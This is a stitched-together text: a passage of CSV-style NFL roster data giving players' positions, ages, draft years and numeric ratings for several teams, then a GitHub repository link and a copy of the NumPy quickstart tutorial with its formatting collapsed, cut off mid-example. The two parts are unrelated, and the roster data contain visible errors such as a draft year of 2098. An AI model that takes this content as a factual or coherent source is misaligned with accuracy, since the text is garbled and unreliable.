Robertson,28,2011,60,80,87,86,75,80,1.7,3 LB,Davis Tull,24,2015,78,42,68,78,66,61,0.6,4 LB,Hau'oli Kikaha,23,2015,88,60,78,72,87,55,1.3,4 LB,Kasim Edebali,26,2014,62,64,91,71,80,65,0.5,3 LB,Dannell Ellerbe,30,2009,57,82,85,74,67,82,2.5,2 END_PLAYERS Tampa Bay Buccaneers,TB QB,Jameis Winston,22,2015,103,69,97,95,75,65,6.3,4 QB,Mike Glennon,26,2013,86,69,96,93,73,20,0.8,4 RB,Mike James,25,2013,71,65,85,76,87,64,0.6,2 RB,Doug Martin,27,2012,85,75,88,67,88,74,7.2,5 RB,Storm Johnson,23,2014,73,62,93,83,85,53,0.6,2 RB,Charles Sims,25,2014,87,65,84,64,89,77,0.8,4 WR,Freddie Martino,24,2014,64,50,90,77,89,79,0.5,1 WR,Mike Evans,22,2014,102,74,96,102,87,74,3.7,4 WR,Louis Murphy Jr,29,2009,65,78,78,77,91,87,1.6,3 WR,Kenny Bell,24,2015,78,58,86,76,93,73,0.6,4 WR,Austin Seferian-Jenkins,23,2014,87,48,83,80,86,58,1.3,4 WR,Luke Stocker,27,2011,79,72,83,66,80,44,1.6,3 WR,Vincent Jackson,33,2005,78,90,88,91,84,48,11.1,5 WR,Russell Shepard,25,2013,61,49,93,79,89,72,1.7,1 WR,Bernard Reedy,24,2014,64,61,90,80,88,81,0.5,2 WR,Evan Spencer,23,2015,74,52,91,74,91,63,0.5,2 OL,Demar Dotson,30,2009,57,82,92,87,79,91,1.5,3 OL,Kevin Pamphile,25,2014,77,65,93,82,85,74,0.6,4 OL,Evan Smith,29,2009,58,82,88,86,87,76,3.6,4 OL,Donovan Smith,22,2015,88,55,87,87,84,79,1.5,4 OL,Joe Hawley,27,2010,78,74,90,83,78,81,1.7,2 OL,Josh Allen,24,2014,64,50,90,89,78,74,0.6,2 OL,Andre Davis,22,2015,64,45,93,82,71,82,0.5,2 OL,Ali Marpet,23,2015,88,49,90,86,82,76,0.9,4 OL,Gosder Cherilus,31,2008,86,87,87,88,82,73,3.5,2 OL,JR Sweezy,27,2012,65,77,82,84,87,72,6.5,5 K,Bryan Anger,27,2012,85,78,97,95,92,72,1.8,1 K,Roberto Aguayo,22,2016,90,65,85,95,95,75,1,4 S,Major Wright,27,2010,78,71,95,71,90,87,1.5,2 S,Bradley McDougald,25,2013,65,72,89,80,84,59,2.6,1 S,Gerod Holliman,22,2015,65,42,86,82,90,62,0.5,2 S,Keith Tandy,27,2012,75,61,93,79,93,70,0.9,2 CB,Johnthan Banks,26,2013,86,75,97,84,88,63,1.2,4 CB,Mike Jenkins,31,2008,65,75,92,74,92,44,0.8,1 CB,Brent Grimes,32,2006,55,91,90,85,91,47,6.8,2 CB,Alterraun Verner,27,2010,78,89,91,93,89,42,6.4,4 CB,Vernon Hargreaves III,21,2016,95,65,85,87,95,70,3.5,4 DL,Cliff Matthews,26,2011,65,60,84,76,74,67,0.8,2 DL,George Johnson,28,2010,60,74,82,67,74,64,2.3,3 DL,Akeem Spence,24,2013,81,70,95,90,67,74,0.7,4 DL,William Gholston,24,2013,76,66,87,77,82,76,0.6,4 DL,Robert Ayers,30,2009,87,74,87,79,89,70,6.5,3 DL,Tony McDaniel,31,2006,65,82,88,88,81,78,1.5,1 DL,AJ Francis,26,2013,62,49,90,79,73,87,0.6,1 DL,Jacquies Smith,26,2012,62,69,84,69,69,64,0.6,1 DL,Henry Melton,29,2010,65,83,74,83,86,69,3.8,1 DL,Larry English,30,2009,65,71,79,72,62,70,0.9,1 DL,Clinton McDonald,29,2009,63,78,86,83,84,75,3,4 DL,Gerald McCoy,28,2010,98,80,78,102,98,87,15.9,6 DL,TJ Fatinikun,24,2014,65,63,82,74,67,65,0.5,2 LB,Kwon Alexander,21,2015,83,42,84,77,68,40,0.7,4 LB,Danny Lansanah,30,2008,65,78,90,86,72,79,0.7,1 LB,Daryl Smith,34,2004,77,95,88,92,78,95,2.5,1 LB,Jeremiah George,24,2014,77,56,92,84,68,70,0.6,1 LB,Adarius Glanton,25,2014,63,54,90,79,64,56,0.6,2 LB,Kourtnei Brown,28,2012,63,55,83,79,77,65,0.5,2 LB,Lavonte David,26,2012,85,88,97,107,95,105,10.1,5 END_PLAYERS Arizona Cardinals,ARZ QB,Matt Barkley,25,2013,81,54,87,84,75,37,0.7,4 QB,Drew Stanton,32,2007,80,69,86,89,72,30,3.3,2 QB,Carson Palmer,36,2003,91,86,74,88,83,20,16.5,3 RB,Stepfan Taylor,25,2013,76,67,97,86,79,65,0.6,4 RB,Chris Johnson,30,2008,86,80,80,70,95,85,1.5,1 RB,Kerwynn Williams,25,2013,67,58,91,54,88,88,0.6,2 RB,Andre Ellington,27,2013,71,75,76,59,90,72,0.6,4 WR,JJ Nelson,24,2015,78,51,78,77,96,77,0.6,4 WR,John Brown,26,2014,82,75,87,87,94,90,0.7,4 WR,Larry Fitzgerald,32,2004,92,95,94,93,82,54,11,2 WR,Darren Fells,30,2013,62,61,90,76,73,50,0.6,1 WR,Brittan Golden,27,2012,62,55,92,77,88,82,0.5,3 WR,Jaron Brown,26,2013,61,67,90,80,91,72,1.7,1 WR,Michael Floyd,26,2012,90,79,89,90,88,65,2.5,4 OL,Jared Veldheer,29,2010,83,85,95,97,87,94,7,5 OL,Mike Iupati,29,2010,88,83,90,97,97,74,8,5 OL,AQ Shipley,30,2009,65,77,87,87,86,78,0.8,2 OL,Taylor Boggs,29,2011,60,70,85,86,78,71,0.7,1 OL,Earl Watford,25,2013,81,63,95,85,81,73,0.6,4 OL,DJ Humphries,22,2015,93,53,82,88,79,87,2.2,4 OL,Antoine McClain,26,2012,63,62,85,81,77,72,0.5,1 K,Drew Butler,27,2012,61,70,95,84,94,70,1.2,2 K,Chandler Catanzaro,25,2014,62,73,93,95,91,70,0.5,3 S,Deone Bucannon,23,2014,87,60,94,67,61,74,1.9,4 S,Tyvon Branch,29,2008,76,81,84,85,94,74,4,2 S,Tyrann Mathieu,24,2013,86,70,84,95,92,84,0.8,4 S,DJ Swearinger,24,2013,86,59,91,75,89,93,1.7,1 S,Tony Jefferson,24,2013,61,73,82,70,87,85,1.7,1 S,Chris Clemons,30,2009,72,74,94,75,94,83,0.9,1 CB,Carrington Byndom,23,2014,63,48,93,78,93,35,0.5,1 CB,Justin Bethel,26,2012,70,67,93,78,88,65,5,3 CB,Asa Jackson,26,2012,75,62,85,72,91,40,0.8,1 CB,Shaun Prater,26,2012,75,59,88,81,90,41,0.7,1 CB,Patrick Peterson,25,2011,99,82,97,105,92,72,14,5 DL,Frostee Rucker,32,2006,74,88,88,81,80,79,2.2,1 DL,Olsen Pierre,24,2015,64,53,90,75,75,81,0.5,1 DL,Chandler Jones,26,2012,90,77,84,92,105,85,2,4 DL,Calais Campbell,29,2008,81,88,96,87,75,85,11,5 DL,Kareem Martin,24,2014,82,60,91,81,78,55,0.7,4 DL,Robert Nkemdiche,21,2016,90,65,85,93,79,85,2.2,4 DL,Josh Mauro,25,2014,62,61,95,85,71,78,0.6,1 DL,Corey Peters,28,2010,78,81,88,78,80,74,3.1,3 DL,Rodney Gunter,24,2015,83,46,88,75,69,81,0.7,4 DL,Ed Stinson,26,2014,77,56,79,88,78,83,0.6,4 LB,Kevin Minter,25,2013,86,73,85,88,64,80,1.1,4 LB,LaMarr Woodley,31,2007,65,82,87,76,84,80,1,1 LB,Shaquille Riddick,23,2015,78,48,88,69,65,52,0.6,4 LB,Jason Babin,36,2004,65,86,88,82,87,72,1,1 LB,Daryl Washington,29,2010,85,71,91,91,73,80,8,4 LB,Alex Okafor,25,2013,81,73,95,68,85,72,0.7,4 LB,Markus Golden,25,2015,88,47,90,73,82,69,1,4 LB,Kenny Demens,26,2013,65,63,92,79,70,68,0.5,2 END_PLAYERS Los Angeles Rams,LA QB,Sean Mannion,24,2015,83,56,89,88,76,37,0.8,4 QB,Nick Foles,27,2012,80,73,85,90,79,20,12.3,2 QB,Case Keenum,28,2012,60,65,79,83,74,20,3.6,1 QB,Jared Goff,21,2016,105,75,85,93,89,80,7,4 QB,Dylan Thompson,24,2015,64,49,90,86,77,76,0.5,1 RB,Todd Gurley,21,2015,93,54,73,101,101,90,3.5,4 RB,Benny Cunningham,25,2013,61,72,84,84,87,52,1.7,1 RB,Terrence Magee,23,2015,64,39,88,74,87,83,0.5,1 RB,Tre Mason,22,2014,82,70,88,75,88,82,0.7,4 RB,Chase Reynolds,28,2011,61,65,85,66,84,81,0.9,1 WR,Tavon Austin,25,2013,101,76,93,77,95,94,3.2,4 WR,Deon Long,25,2015,64,46,82,81,89,64,0.5,2 WR,Cory Harkey,26,2012,60,78,95,78,68,45,1.9,3 WR,Lance Kendricks,28,2011,84,74,94,79,81,63,4.6,4 WR,Kenny Britt,27,2009,82,81,82,87,85,72,4.6,2 WR,Stedman Bailey,25,2013,81,71,94,84,87,80,0.7,4 WR,Brian Quick,27,2012,85,74,87,84,87,67,1.8,1 OL,Garrett Reynolds,28,2009,72,76,97,86,82,74,1.1,2 OL,Rodger Saffold,28,2010,83,83,84,84,74,86,6.3,5 OL,Cody Wichmann,24,2015,73,50,92,79,74,76,0.6,4 OL,Greg Robinson,23,2014,102,74,95,94,88,73,5.3,4 OL,Tim Barnes,28,2011,60,73,90,80,76,82,2.8,2 OL,Rob Havenstein,24,2015,88,58,90,79,88,71,1,4 OL,Demetrius Rhaney,23,2014,67,50,92,83,75,79,0.6,4 OL,Jamon Brown,23,2015,88,63,91,87,84,73,0.8,4 OL,Eric Kush,26,2013,76,70,87,79,79,76,1.3,1 OL,David Arkin,28,2011,82,46,89,91,79,77,0.7,2 OL,Andrew Donnal,24,2015,83,64,84,77,78,72,0.7,4 OL,Brian Folkerts,26,2012,61,61,95,91,79,75,0.7,1 K,Greg Zuerlein,28,2012,75,74,95,95,88,70,1.3,1 K,Johnny Hekker,26,2012,60,79,94,97,97,75,3,6 S,LaMarcus Joyner,25,2014,87,62,93,75,93,80,1.3,4 S,TJ McDonald,25,2013,86,72,84,74,91,91,0.7,4 S,Maurice Alexander,25,2014,65,38,89,71,90,87,0.7,4 S,Christian Bryant,24,2014,68,36,79,74,86,78,0.5,2 S,Mark Barron,26,2012,100,73,81,69,67,69,9,5 S,Cody Davis,27,2013,61,55,90,72,92,63,1.5,2 CB,EJ Gaines,24,2014,72,74,90,85,89,59,0.6,4 CB,Marcus Roberson,23,2014,62,47,82,82,90,60,0.5,3 CB,Coty Sensabaugh,27,2012,80,67,95,78,91,42,5,3 CB,Trumaine Johnson,26,2012,85,72,87,77,86,74,14,1 DL,Aaron Donald,25,2014,92,76,95,103,92,87,2.5,4 DL,Ethan Westbrooks,25,2014,62,50,90,75,68,67,0.5,3 DL,Dominique Easley,24,2014,88,62,74,82,84,83,0.6,1 DL,Robert Quinn,26,2011,89,82,92,97,97,79,14.3,4 DL,William Hayes,31,2008,76,80,93,85,83,86,5.8,3 DL,Cam Thomas,29,2010,74,74,87,94,77,85,0.5,1 DL,Eugene Sims,30,2010,68,72,88,74,67,64,3.3,3 DL,Michael Brockers,25,2012,90,74,95,94,82,92,2.4,4 LB,Quinton Coples,25,2012,90,77,93,83,87,72,3.3,2 LB,Alec Ogletree,24,2013,86,74,87,90,66,75,1.8,4 LB,Bryce Hager,24,2015,73,62,83,83,47,75,0.6,4 LB,Akeem Ayers,26,2011,84,74,95,81,84,75,3,2 END_PLAYERS Seattle Seahawks,SEA QB,Russell Wilson,27,2012,80,84,94,103,95,97,21.9,4 QB,Tarvaris Jackson,33,2006,80,67,81,93,70,62,1.5,1 RB,Derrick Coleman,25,2012,55,72,87,82,87,61,0.5,3 RB,Christine Michael,25,2013,86,65,80,89,90,65,0.7,1 RB,Fred Jackson,35,2003,65,92,85,87,81,65,0.9,1 RB,Thomas Rawls,22,2015,63,47,86,82,90,60,0.5,3 RB,Bryce Brown,25,2010,65,65,86,84,88,67,0.7,1 WR,Jermaine Kearse,26,2012,60,79,96,86,89,75,4.5,3 WR,George Farmer,22,2015,64,48,75,77,92,55,0.5,1 WR,Antwan Goodley,24,2015,63,51,86,82,91,82,0.5,1 WR,Doug Baldwin,27,2011,59,85,92,88,87,86,4.3,3 WR,Tyler Lockett,23,2015,88,63,81,82,92,87,0.8,4 WR,Paul Richardson,24,2014,87,66,77,82,94,76,1.2,4 WR,Jimmy Graham,29,2010,78,87,92,102,85,60,10,4 OL,Patrick Lewis,25,2013,61,62,95,84,71,76,1.7,1 OL,Kristjan Sokoli,24,2015,73,37,90,89,75,65,0.6,4 OL,Mark Glowinski,24,2015,78,55,92,91,80,76,0.7,4 OL,Justin Britt,25,2014,87,72,85,86,84,72,0.9,4 OL,Garry Gilliam,25,2014,62,60,84,77,80,75,0.5,3 OL,Bradley Sowell,27,2012,60,77,91,79,78,76,1,1 OL,J'Marcus Webb,27,2010,68,73,93,90,77,78,2.9,2 OL,Lemuel Jeanpierre,29,2011,65,74,92,83,79,75,0.7,1 OL,Germain Ifedi,22,2016,90,65,85,85,90,83,2.1,4 OL,Terry Poole,24,2015,78,49,93,83,72,82,0.5,1 K,Steven Hauschka,30,2008,56,83,90,89,93,65,2.9,3 K,Jon Ryan,34,2006,54,87,88,89,94,69,2.5,4 S,Kelcie McCray,27,2012,61,65,90,72,87,52,0.7,2 S,Deshawn Shead,27,2012,60,68,90,73,88,73,0.8,1 S,Kam Chancellor,28,2010,73,85,94,82,86,107,7,4 S,Earl Thomas III,27,2010,88,86,93,106,92,72,10,4 CB,Brandon Browner,31,2005,58,87,88,92,80,73,0.8,1 CB,Jeremy Lane,25,2012,75,75,90,85,88,72,5.8,4 CB,Eric Pinkins,24,2014,72,52,92,67,54,66,0.5,1 CB,Stanley Jean-Baptiste,26,2014,87,46,93,83,91,61,0.5,1 CB,Marcus Burley,25,2013,61,67,93,85,94,55,0.6,1 CB,Tye Smith,23,2015,78,43,94,78,89,60,0.6,4 CB,Richard Sherman,28,2011,74,97,96,109,89,65,14,4 CB,Steven Terrell,25,2013,61,50,90,77,91,70,0.6,1 CB,Tharold Simon,25,2013,76,68,85,81,89,80,0.6,4 DL,Sealver Siliga,27,2011,59,78,90,88,80,90,1.1,1 DL,Michael Bennett,30,2009,84,87,87,101,94,87,7.1,2 DL,Jordan Hill,25,2013,81,68,93,84,76,74,0.7,4 DL,Cassius Marsh,23,2014,82,53,92,66,80,69,0.7,4 DL,Frank Clark,23,2015,88,39,86,73,84,77,0.9,4 DL,Ryan Robinson,25,2013,61,57,87,67,62,65,0.6,2 DL,Cliff Avril,30,2008,76,87,93,73,76,64,7.1,4 DL,Demarcus Dobbs,28,2011,65,73,91,84,78,74,0.8,1 DL,Ahtyba Rubin,29,2008,66,85,90,93,71,79,4,3 DL,Justin Hamilton,22,2015,63,50,87,85,83,62,0.5,1 LB,Nick Moody,26,2013,65,68,77,77,71,75,0.6,1 LB,KJ Wright,26,2011,79,86,95,91,78,85,6.8,4 LB,Khairi Fortt,24,2014,78,57,78,73,68,64,0.5,1 LB,Bobby Wagner,25,2012,85,86,94,97,86,90,10.8,4 LB,Kevin Pierre-Louis,24,2014,77,62,85,80,72,54,0.7,4 LB,Brock Coyle,25,2014,62,67,93,79,62,71,0.5,3 END_PLAYERS San Francisco 49ers,SF QB,Colin Kaepernick,28,2011,84,75,95,95,78,80,19,6 QB,Thad Lewis,28,2010,61,65,92,88,70,57,0.8,1 QB,Blaine Gabbert,26,2011,89,65,90,88,72,47,2,2 RB,Shaun Draughn,28,2011,61,72,87,80,82,65,0.9,1 RB,Mike Davis,23,2015,78,55,77,84,88,65,0.7,4 RB,Bruce Miller,28,2011,69,78,93,66,81,35,1.8,3 RB,Carlos Hyde,24,2014,87,69,92,90,85,66,0.9,4 WR,Jerome Simpson,30,2008,83,75,92,78,87,85,0.9,2 WR,DeAndre Smelter,24,2015,79,48,73,79,87,77,0.7,4 WR,Dres Anderson,23,2015,63,62,75,80,88,84,0.5,3 WR,Quinton Patton,25,2013,76,54,90,82,87,85,0.6,4 WR,Vance McDonald,26,2013,86,66,88,73,81,52,0.9,4 WR,Torrey Smith,27,2011,84,86,93,88,89,83,8,5 WR,Bruce Ellington,24,2014,82,53,91,83,90,88,0.7,4 OL,Erik Pears,34,2005,55,78,93,86,70,80,2.9,2 OL,Daniel Kilgore,28,2011,74,76,88,89,90,77,1.8,3 OL,Joe Staley,31,2007,80,95,91,88,97,90,7.4,6 OL,Ian Silberman,23,2015,73,49,87,81,81,72,0.6,4 OL,Brandon Thomas,25,2014,83,54,76,93,83,76,0.7,4 OL,Andrew Tiller,26,2012,71,55,91,79,81,72,0.6,2 OL,Marcus Martin,22,2014,87,68,83,82,85,74,0.8,4 OL,Joshua Garnett,22,2016,90,65,85,85,91,80,2.3,4 OL,Zane Beadles,29,2010,83,81,93,83,74,89,3.3,3 K,Phil Dawson,41,2098,48,93,85,92,89,60,3.1,1 K,Bradley Pinion,22,2015,78,55,92,91,78,74,0.6,4 S,Eric Reid,24,2013,91,67,90,82,94,93,2.1,4 S,LJ McCray,25,2014,62,40,88,69,92,75,0.5,3 S,Antoine Bethea,31,2006,64,91,96,85,88,80,5.3,4 S,Jimmie Ward,24,2014,87,59,95,71,90,77,1.8,4 S,Jaquiski Tartt,24,2015,88,45,92,66,90,84,1.3,4 CB,Keith Reaser,24,2014,78,38,76,74,88,45,0.6,4 CB,Chris Davis,25,2014,62,60,93,76,87,78,0.6,2 CB,Tramaine Brock,27,2010,58,76,93,79,90,52,3.5,4 CB,Kenneth Acker,24,2014,72,47,91,79,89,42,0.6,4 CB,Dontae Johnson,24,2014,77,60,92,84,92,60,0.7,4 CB,Marcus Cromartie,25,2013,62,49,90,79,89,55,0.6,2 DL,DeForest Buckner,22,2016,105,65,85,91,86,81,4.5,4 DL,Arik Armstead,22,2015,93,48,87,85,81,91,2.5,4 DL,Tony Jerod-Eddie,26,2012,62,75,91,83,79,82,1,1 DL,Glenn Dorsey,30,2008,96,77,88,86,64,75,4.4,2 DL,Kaleb Ramsey,27,2014,68,52,72,94,78,84,0.6,2 DL,Quinton Dial,25,2013,76,70,85,87,79,86,4.2,3 DL,Ian Williams,26,2011,59,76,83,93,78,87,3,1 LB,Ahmad Brooks,32,2006,74,83,87,87,78,78,6.7,6 LB,Aaron Lynch,23,2014,77,75,88,77,91,70,0.6,4 LB,Eli Harold,22,2015,83,49,92,77,72,54,0.8,4 LB,Navorro Bowman,28,2010,78,89,87,97,81,88,9.1,5 LB,Gerald Hodges,25,2013,81,78,88,89,58,80,0.6,4 LB,Nick Bellore,27,2011,59,70,87,86,64,72,0.8,2 LB,Michael Wilhoite,29,2011,60,77,90,83,66,82,1.7,1 LB,Corey Lemonier,24,2013,81,63,90,73,61,65,0.7,4 END_PLAYERS
GitHub Repo
https://github.com/Aryia-Behroziuan/numpy
Aryia-Behroziuan/numpy
Quickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 